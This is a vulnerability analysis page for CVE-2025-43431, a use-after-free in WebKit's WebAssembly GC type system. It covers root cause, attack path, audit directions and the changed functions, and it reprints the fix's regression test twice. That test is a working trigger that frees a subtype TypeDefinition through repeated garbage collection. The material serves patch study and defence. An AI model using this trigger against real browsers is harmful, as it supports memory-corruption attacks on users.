CVE-2025-43431
Overview
Impact:
Description: Processing maliciously crafted web content may lead to memory corruption
Researchers: Google Big Sleep
Key insight. If any object is referenced by raw pointers (FieldTypes into a Subtype), that object must be strongly retained; retaining only the expanded type left the unexpanded Subtype collectable.
Patch Details
diff --git a/JSTests/wasm/regress/298194.js b/JSTests/wasm/regress/298194.js
new file mode 100644
index 000000000000..7707bb7ce25f
--- /dev/null
+++ b/JSTests/wasm/regress/298194.js
@@ -0,0 +1,46 @@
+load("../spec-harness/wasm-module-builder-gc.js");
+
+function createWasmModule() {
+ let builder = new WasmModuleBuilder();
+
+ // Use a Subtype for B by setting isFinal = false.
+ const isFinal = false;
+ const supertypeIndex = kNoSuperType;
+
+ const typeBIdx = builder.addStruct([], supertypeIndex, isFinal);
+ const typeAIdx = builder.addStruct([makeField(wasmRefType(typeBIdx), true)]);
+
+ const refA = wasmRefType(typeAIdx);
+ const refB = wasmRefType(typeBIdx);
+
+ const sigNewA = builder.addType(makeSig([refB], [refA]));
+ builder.addFunction("new_A", sigNewA)
+ .addBody([
+ kExprLocalGet, 0,
+ kGCPrefix, kExprStructNew, ...wasmUnsignedLeb(typeAIdx)
+ ]).exportFunc();
+ const sigNewB = builder.addType(makeSig([], [refB]));
+ builder.addFunction("new_B", sigNewB)
+ .addBody([ kGCPrefix, kExprStructNewDefault, ...wasmUnsignedLeb(typeBIdx) ]).exportFunc();
+
+ return builder.instantiate();
+}
+
+let obj = null;
+{
+ let inst = createWasmModule();
+ let exports = inst.exports;
+ let objB = exports.new_B();
+ obj = exports.new_A(objB);
+}
+
+gc();
+
+let dummy = (new WasmModuleBuilder()).instantiate();
+dummy = null;
+
+// Trigger TypeInformation::tryCleanup() to free the TypeDefinition.
+gc();
+
+// Trigger assertion failure during GC.
+gc();
\ No newline at end of file
diff --git a/JSTests/wasm/spec-harness/wasm-module-builder-gc.js b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
new file mode 100644
index 000000000000..5c96cbba7980
--- /dev/null
+++ b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
@@ -0,0 +1,2492 @@
+// Copyright 2016 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// This is a 'wasm-module-builder.js' circa 2025 with support for the GC proposal,
+// in particular Subtype-wrapped types.
+
+// Used for encoding f32 and double constants to bits.
+let byte_view = new Uint8Array(8);
+let data_view = new DataView(byte_view.buffer);
+
+// The bytes function receives one of
+// - several arguments, each of which is either a number or a string of length
+// 1; if it's a string, the charcode of the contained character is used.
+// - a single array argument containing the actual arguments
+// - a single string; the returned buffer will contain the char codes of all
+// contained characters.
+function bytes(...input) {
+ if (input.length == 1 && typeof input[0] == 'array') input = input[0];
+ if (input.length == 1 && typeof input[0] == 'string') {
+ let len = input[0].length;
+ let view = new Uint8Array(len);
+ for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
+ return view.buffer;
+ }
+ let view = new Uint8Array(input.length);
+ for (let i = 0; i < input.length; i++) {
+ let val = input[i];
+ if (typeof val == 'string') {
+ if (val.length != 1) {
+ throw new Error('string inputs must have length 1');
+ }
+ val = val.charCodeAt(0);
+ }
+ view[i] = val | 0;
+ }
+ return view.buffer;
+}
+
+// Header declaration constants
+var kWasmH0 = 0;
+var kWasmH1 = 0x61;
+var kWasmH2 = 0x73;
+var kWasmH3 = 0x6d;
+
+var kWasmV0 = 0x1;
+var kWasmV1 = 0;
+var kWasmV2 = 0;
+var kWasmV3 = 0;
+
+var kHeaderSize = 8;
+var kPageSize = 65536;
+var kSpecMaxPages = 65536;
+var kMaxVarInt32Size = 5;
+var kMaxVarInt64Size = 10;
+var kSpecMaxFunctionParams = 1_000;
+
+let kDeclNoLocals = 0;
+
+// Section declaration constants
+let kUnknownSectionCode = 0;
+let kTypeSectionCode = 1; // Function signature declarations
+let kImportSectionCode = 2; // Import declarations
+let kFunctionSectionCode = 3; // Function declarations
+let kTableSectionCode = 4; // Indirect function table and other tables
+let kMemorySectionCode = 5; // Memory attributes
+let kGlobalSectionCode = 6; // Global declarations
+let kExportSectionCode = 7; // Exports
+let kStartSectionCode = 8; // Start function declaration
+let kElementSectionCode = 9; // Elements section
+let kCodeSectionCode = 10; // Function code
+let kDataSectionCode = 11; // Data segments
+let kDataCountSectionCode = 12; // Data segment count (between Element & Code)
+let kTagSectionCode = 13; // Tag section (between Memory & Global)
+let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global)
+let kLastKnownSectionCode = 14;
+
+// Name section types
+let kModuleNameCode = 0;
+let kFunctionNamesCode = 1;
+let kLocalNamesCode = 2;
+
+let kWasmSharedTypeForm = 0x65;
+let kWasmFunctionTypeForm = 0x60;
+let kWasmStructTypeForm = 0x5f;
+let kWasmArrayTypeForm = 0x5e;
+let kWasmSubtypeForm = 0x50;
+let kWasmSubtypeFinalForm = 0x4f;
+let kWasmRecursiveTypeGroupForm = 0x4e;
+let kWasmDescriptorTypeForm = 0x4d;
+let kWasmDescribesTypeForm = 0x4c;
+
+let kNoSuperType = 0xFFFFFFFF;
+
+let kLimitsNoMaximum = 0x00;
+let kLimitsWithMaximum = 0x01;
+let kLimitsSharedNoMaximum = 0x02;
+let kLimitsSharedWithMaximum = 0x03;
+let kLimitsMemory64NoMaximum = 0x04;
+let kLimitsMemory64WithMaximum = 0x05;
+let kLimitsMemory64SharedNoMaximum = 0x06;
+let kLimitsMemory64SharedWithMaximum = 0x07;
+
+// Segment flags
+let kActiveNoIndex = 0;
+let kPassive = 1;
+let kActiveWithIndex = 2;
+let kDeclarative = 3;
+let kPassiveWithElements = 5;
+let kDeclarativeWithElements = 7;
+
+// Function declaration flags
+let kDeclFunctionName = 0x01;
+let kDeclFunctionImport = 0x02;
+let kDeclFunctionLocals = 0x04;
+let kDeclFunctionExport = 0x08;
+
+// Value types and related
+let kWasmVoid = 0x40;
+let kWasmI32 = 0x7f;
+let kWasmI64 = 0x7e;
+let kWasmF32 = 0x7d;
+let kWasmF64 = 0x7c;
+let kWasmS128 = 0x7b;
+let kWasmI8 = 0x78;
+let kWasmI16 = 0x77;
+let kWasmF16 = 0x76;
+
+// These are defined as negative integers to distinguish them from positive type
+// indices.
+let kWasmNullFuncRef = -0x0d;
+let kWasmNullExternRef = -0x0e;
+let kWasmNullRef = -0x0f;
+let kWasmFuncRef = -0x10;
+let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
+let kWasmExternRef = -0x11;
+let kWasmAnyRef = -0x12;
+let kWasmEqRef = -0x13;
+let kWasmI31Ref = -0x14;
+let kWasmStructRef = -0x15;
+let kWasmArrayRef = -0x16;
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2025-43431 |
| Bugzilla | 298194 |
| Component | JSC |
| Bug Class | UAF |
| Severity | medium |
| Commit | d4b9e6993567d3c3… |
| Advisory | Apple Advisory |
Terminology
- Wasm GC Subtype — A non-final struct/array type that wraps an underlying Struct/Array TypeDefinition.
- Expanded vs unexpanded type — m_type stores the expanded underlying type; FieldTypes hold raw pointers into the original unexpanded Subtype.
- TypeInformation::tryCleanup() — GC-time cleanup that can free TypeDefinitions no longer strongly referenced.
Root Cause Analysis
This fixes a use-after-free of a WebAssembly GC type definition caused by only retaining the expanded type. A struct/array type can be a Subtype that wraps an underlying Struct/Array TypeDefinition; WebAssemblyGCStructure stored only m_type, set to the expanded underlying type (typeSignatures[i]->expand()). But, as the added comment states, the original unexpanded Subtype ‘may be the target of raw pointers in Wasm::Types of FieldTypes’ — field types hold raw pointers into the unexpanded Subtype. Because nothing kept the unexpanded Subtype alive, TypeInformation::tryCleanup() could free that TypeDefinition during GC while those raw FieldType pointers still referenced it, giving a dangling pointer and memory corruption. The fix threads the unexpanded type through: JSWebAssemblyInstance::finishCreation now passes typeSignatures[i] (unexpanded) rather than ->expand(); JSWebAssemblyArray/Struct::createStructure expand internally and pass BOTH the unexpanded and expanded types; and WebAssemblyGCStructure gains a Ref<const Wasm::TypeDefinition> m_unexpandedType member (copied on structure transition) that keeps the Subtype alive for the structure’s lifetime. The restored invariant is that any TypeDefinition referenced by raw pointers from FieldTypes remains owned as long as the structure exists. The regression test builds structs using a Subtype (isFinal=false), drops references, and GCs repeatedly to drive tryCleanup() into freeing the type. Established by the diff (the wasm-module-builder-gc.js harness is omitted but only provides module-building helpers).
Attack Path
1. Instantiate a Wasm GC module using subtypes
The page builds a module whose struct/array types are non-final (Subtypes) and instantiates it.
2. Create GC objects and drop references
It creates struct/array objects, then releases the references that would keep the underlying Subtype TypeDefinition alive.
3. Force type cleanup via GC
Repeated gc() runs TypeInformation::tryCleanup(), freeing the unexpanded Subtype TypeDefinition that FieldType raw pointers still reference.
4. Dangling-pointer memory corruption
Subsequent use of the structure dereferences the freed TypeDefinition through the FieldType raw pointers, corrupting memory / crashing.
Impact Assessment
A dangling-pointer memory corruption when the unexpanded Subtype is freed while FieldType raw pointers still reference it; medium but a genuine UAF in the Wasm GC type system.
Audit Directions
Raw pointers into TypeDefinitions
Audit Wasm::Type/FieldType raw pointers and confirm the pointed-to TypeDefinition (expanded and unexpanded) is owned for the referrer’s lifetime.
expand() call sites
Find places that store only expand()ed types and check whether the pre-expansion Subtype must also be retained.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
JSWebAssemblyInstance::finishCreation |
Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp |
modified | Passes the unexpanded typeSignatures[i] to JSWebAssemblyArray/Struct::createStructure instead of typeSignatures[i]->expand(). |
WebAssemblyGCStructure::WebAssemblyGCStructure / create |
Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cpp |
modified | Takes both unexpandedType and expanded type and stores m_unexpandedType (also copied in the structure-transition constructor). |
JSWebAssemblyArray::createStructure |
Source/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.h |
modified | Expands the type locally, asserts on the expanded ArrayType, and forwards both unexpanded and expanded types to WebAssemblyGCStructure::create. |
JSWebAssemblyStruct::createStructure |
Source/JavaScriptCore/wasm/js/JSWebAssemblyStruct.h |
modified | Same pattern for structs: expands locally and forwards both unexpanded and expanded types. |
WebAssemblyGCStructure (class) |
Source/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h |
modified | Adds Ref<const Wasm::TypeDefinition> m_unexpandedType so the original Subtype (referenced by FieldType raw pointers) stays alive for the structure’s lifetime. |
Files Changed
Source Files
Source/JavaScriptCore/wasm/js/JSWebAssemblyArrayInlines.hSource/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cppSource/JavaScriptCore/wasm/js/JSWebAssemblyStruct.hSource/JavaScriptCore/wasm/js/WebAssemblyGCStructure.cppSource/JavaScriptCore/wasm/js/WebAssemblyGCStructure.h
Test Files
JSTests/wasm/regress/298194.jsJSTests/wasm/spec-harness/wasm-module-builder-gc.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/regress/298194.js b/JSTests/wasm/regress/298194.js
new file mode 100644
index 000000000000..7707bb7ce25f
--- /dev/null
+++ b/JSTests/wasm/regress/298194.js
@@ -0,0 +1,46 @@
+load("../spec-harness/wasm-module-builder-gc.js");
+
+function createWasmModule() {
+ let builder = new WasmModuleBuilder();
+
+ // Use a Subtype for B by setting isFinal = false.
+ const isFinal = false;
+ const supertypeIndex = kNoSuperType;
+
+ const typeBIdx = builder.addStruct([], supertypeIndex, isFinal);
+ const typeAIdx = builder.addStruct([makeField(wasmRefType(typeBIdx), true)]);
+
+ const refA = wasmRefType(typeAIdx);
+ const refB = wasmRefType(typeBIdx);
+
+ const sigNewA = builder.addType(makeSig([refB], [refA]));
+ builder.addFunction("new_A", sigNewA)
+ .addBody([
+ kExprLocalGet, 0,
+ kGCPrefix, kExprStructNew, ...wasmUnsignedLeb(typeAIdx)
+ ]).exportFunc();
+ const sigNewB = builder.addType(makeSig([], [refB]));
+ builder.addFunction("new_B", sigNewB)
+ .addBody([ kGCPrefix, kExprStructNewDefault, ...wasmUnsignedLeb(typeBIdx) ]).exportFunc();
+
+ return builder.instantiate();
+}
+
+let obj = null;
+{
+ let inst = createWasmModule();
+ let exports = inst.exports;
+ let objB = exports.new_B();
+ obj = exports.new_A(objB);
+}
+
+gc();
+
+let dummy = (new WasmModuleBuilder()).instantiate();
+dummy = null;
+
+// Trigger TypeInformation::tryCleanup() to free the TypeDefinition.
+gc();
+
+// Trigger assertion failure during GC.
+gc();
\ No newline at end of file
diff --git a/JSTests/wasm/spec-harness/wasm-module-builder-gc.js b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
new file mode 100644
index 000000000000..5c96cbba7980
--- /dev/null
+++ b/JSTests/wasm/spec-harness/wasm-module-builder-gc.js
@@ -0,0 +1,2492 @@
+// Copyright 2016 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// This is a 'wasm-module-builder.js' circa 2025 with support for the GC proposal,
+// in particular Subtype-wrapped types.
+
+// Used for encoding f32 and double constants to bits.
+let byte_view = new Uint8Array(8);
+let data_view = new DataView(byte_view.buffer);
+
+// The bytes function receives one of
+// - several arguments, each of which is either a number or a string of length
+// 1; if it's a string, the charcode of the contained character is used.
+// - a single array argument containing the actual arguments
+// - a single string; the returned buffer will contain the char codes of all
+// contained characters.
+function bytes(...input) {
+ if (input.length == 1 && typeof input[0] == 'array') input = input[0];
+ if (input.length == 1 && typeof input[0] == 'string') {
+ let len = input[0].length;
+ let view = new Uint8Array(len);
+ for (let i = 0; i < len; i++) view[i] = input[0].charCodeAt(i);
+ return view.buffer;
+ }
+ let view = new Uint8Array(input.length);
+ for (let i = 0; i < input.length; i++) {
+ let val = input[i];
+ if (typeof val == 'string') {
+ if (val.length != 1) {
+ throw new Error('string inputs must have length 1');
+ }
+ val = val.charCodeAt(0);
+ }
+ view[i] = val | 0;
+ }
+ return view.buffer;
+}
+
+// Header declaration constants
+var kWasmH0 = 0;
+var kWasmH1 = 0x61;
+var kWasmH2 = 0x73;
+var kWasmH3 = 0x6d;
+
+var kWasmV0 = 0x1;
+var kWasmV1 = 0;
+var kWasmV2 = 0;
+var kWasmV3 = 0;
+
+var kHeaderSize = 8;
+var kPageSize = 65536;
+var kSpecMaxPages = 65536;
+var kMaxVarInt32Size = 5;
+var kMaxVarInt64Size = 10;
+var kSpecMaxFunctionParams = 1_000;
+
+let kDeclNoLocals = 0;
+
+// Section declaration constants
+let kUnknownSectionCode = 0;
+let kTypeSectionCode = 1; // Function signature declarations
+let kImportSectionCode = 2; // Import declarations
+let kFunctionSectionCode = 3; // Function declarations
+let kTableSectionCode = 4; // Indirect function table and other tables
+let kMemorySectionCode = 5; // Memory attributes
+let kGlobalSectionCode = 6; // Global declarations
+let kExportSectionCode = 7; // Exports
+let kStartSectionCode = 8; // Start function declaration
+let kElementSectionCode = 9; // Elements section
+let kCodeSectionCode = 10; // Function code
+let kDataSectionCode = 11; // Data segments
+let kDataCountSectionCode = 12; // Data segment count (between Element & Code)
+let kTagSectionCode = 13; // Tag section (between Memory & Global)
+let kStringRefSectionCode = 14; // Stringref literals section (between Tag & Global)
+let kLastKnownSectionCode = 14;
+
+// Name section types
+let kModuleNameCode = 0;
+let kFunctionNamesCode = 1;
+let kLocalNamesCode = 2;
+
+let kWasmSharedTypeForm = 0x65;
+let kWasmFunctionTypeForm = 0x60;
+let kWasmStructTypeForm = 0x5f;
+let kWasmArrayTypeForm = 0x5e;
+let kWasmSubtypeForm = 0x50;
+let kWasmSubtypeFinalForm = 0x4f;
+let kWasmRecursiveTypeGroupForm = 0x4e;
+let kWasmDescriptorTypeForm = 0x4d;
+let kWasmDescribesTypeForm = 0x4c;
+
+let kNoSuperType = 0xFFFFFFFF;
+
+let kLimitsNoMaximum = 0x00;
+let kLimitsWithMaximum = 0x01;
+let kLimitsSharedNoMaximum = 0x02;
+let kLimitsSharedWithMaximum = 0x03;
+let kLimitsMemory64NoMaximum = 0x04;
+let kLimitsMemory64WithMaximum = 0x05;
+let kLimitsMemory64SharedNoMaximum = 0x06;
+let kLimitsMemory64SharedWithMaximum = 0x07;
+
+// Segment flags
+let kActiveNoIndex = 0;
+let kPassive = 1;
+let kActiveWithIndex = 2;
+let kDeclarative = 3;
+let kPassiveWithElements = 5;
+let kDeclarativeWithElements = 7;
+
+// Function declaration flags
+let kDeclFunctionName = 0x01;
+let kDeclFunctionImport = 0x02;
+let kDeclFunctionLocals = 0x04;
+let kDeclFunctionExport = 0x08;
+
+// Value types and related
+let kWasmVoid = 0x40;
+let kWasmI32 = 0x7f;
+let kWasmI64 = 0x7e;
+let kWasmF32 = 0x7d;
+let kWasmF64 = 0x7c;
+let kWasmS128 = 0x7b;
+let kWasmI8 = 0x78;
+let kWasmI16 = 0x77;
+let kWasmF16 = 0x76;
+
+// These are defined as negative integers to distinguish them from positive type
+// indices.
+let kWasmNullFuncRef = -0x0d;
+let kWasmNullExternRef = -0x0e;
+let kWasmNullRef = -0x0f;
+let kWasmFuncRef = -0x10;
+let kWasmAnyFunc = kWasmFuncRef; // Alias named as in the JS API spec
+let kWasmExternRef = -0x11;
+let kWasmAnyRef = -0x12;
+let kWasmEqRef = -0x13;
+let kWasmI31Ref = -0x14;
+let kWasmStructRef = -0x15;
+let kWasmArrayRef = -0x16;
+let kWasmExnRef = -0x17;
+let kWasmNullExnRef = -0x0c;
+let kWasmStringRef = -0x19;
+let kWasmStringViewWtf8 = -0x1a;
+let kWasmStringViewWtf16 = -0x20;
+let kWasmStringViewIter = -0x1f;
+const kWasmContRef = -0x18;
+const kWasmNullContRef = -0x0b;
+
+// Use the positive-byte versions inside function bodies.
+let kLeb128Mask = 0x7f;
+let kFuncRefCode = kWasmFuncRef & kLeb128Mask;
+let kAnyFuncCode = kFuncRefCode; // Alias named as in the JS API spec
+let kExternRefCode = kWasmExternRef & kLeb128Mask;
+let kAnyRefCode = kWasmAnyRef & kLeb128Mask;
+let kEqRefCode = kWasmEqRef & kLeb128Mask;
+let kI31RefCode = kWasmI31Ref & kLeb128Mask;
+let kNullExternRefCode = kWasmNullExternRef & kLeb128Mask;
+let kNullFuncRefCode = kWasmNullFuncRef & kLeb128Mask;
+let kStructRefCode = kWasmStructRef & kLeb128Mask;
+let kArrayRefCode = kWasmArrayRef & kLeb128Mask;
+let kExnRefCode = kWasmExnRef & kLeb128Mask;
+let kNullExnRefCode = kWasmNullExnRef & kLeb128Mask;
+let kNullRefCode = kWasmNullRef & kLeb128Mask;
+let kStringRefCode = kWasmStringRef & kLeb128Mask;
+let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;
+let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;
+let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;
+const kContRefCode = kWasmContRef & kLeb128Mask;
+const kNullContRefCode = kWasmNullContRef & kLeb128Mask;
+
+let kWasmRefNull = 0x63;
+let kWasmRef = 0x64;
+let kWasmExact = 0x62;
+
+// Implementation detail of `wasmRef[Null]Type`, don't use directly.
+class RefTypeBuilder {
+ constructor(opcode, heap_type) {
+ this.opcode = opcode;
+ this.heap_type = heap_type;
+ this.is_shared = false;
+ this.is_exact = false;
+ }
+ nullable() {
+ this.opcode = kWasmRefNull;
+ return this;
+ }
+ shared() {
+ this.is_shared = true;
+ return this;
+ }
+ exact() {
+ this.is_exact = true;
+ return this;
+ }
+}
+function wasmRefNullType(heap_type) {
+ return new RefTypeBuilder(kWasmRefNull, heap_type);
+}
+function wasmRefType(heap_type) {
+ return new RefTypeBuilder(kWasmRef, heap_type);
+}
+
+let kExternalFunction = 0;
+let kExternalTable = 1;
+let kExternalMemory = 2;
+let kExternalGlobal = 3;
+let kExternalTag = 4;
+
+let kTableZero = 0;
+let kMemoryZero = 0;
+let kSegmentZero = 0;
+
+let kExceptionAttribute = 0;
+
+const kAtomicSeqCst = 0;
+const kAtomicAcqRel = 1;
+
+// Useful signatures
+let kSig_i_i = makeSig([kWasmI32], [kWasmI32]);
+let kSig_l_l = makeSig([kWasmI64], [kWasmI64]);
+let kSig_i_l = makeSig([kWasmI64], [kWasmI32]);
+let kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);
+let kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
+let kSig_i_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
+let kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []);
+let kSig_l_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], [kWasmI64]);
+let kSig_l_i = makeSig([kWasmI32], [kWasmI64]);
+let kSig_f_i = makeSig([kWasmI32], [kWasmF32]);
+let kSig_i_f = makeSig([kWasmF32], [kWasmI32]);
+let kSig_i_ff = makeSig([kWasmF32, kWasmF32], [kWasmI32]);
+let kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]);
+let kSig_f_ffff = makeSig([kWasmF32, kWasmF32, kWasmF32, kWasmF32], [kWasmF32]);
+let kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);
+let kSig_d_dddd = makeSig([kWasmF64, kWasmF64, kWasmF64, kWasmF64], [kWasmF64]);
+let kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);
+let kSig_l_llll = makeSig([kWasmI64, kWasmI64, kWasmI64, kWasmI64], [kWasmI64]);
+let kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);
+let kSig_v_v = makeSig([], []);
+let kSig_i_v = makeSig([], [kWasmI32]);
... (truncated)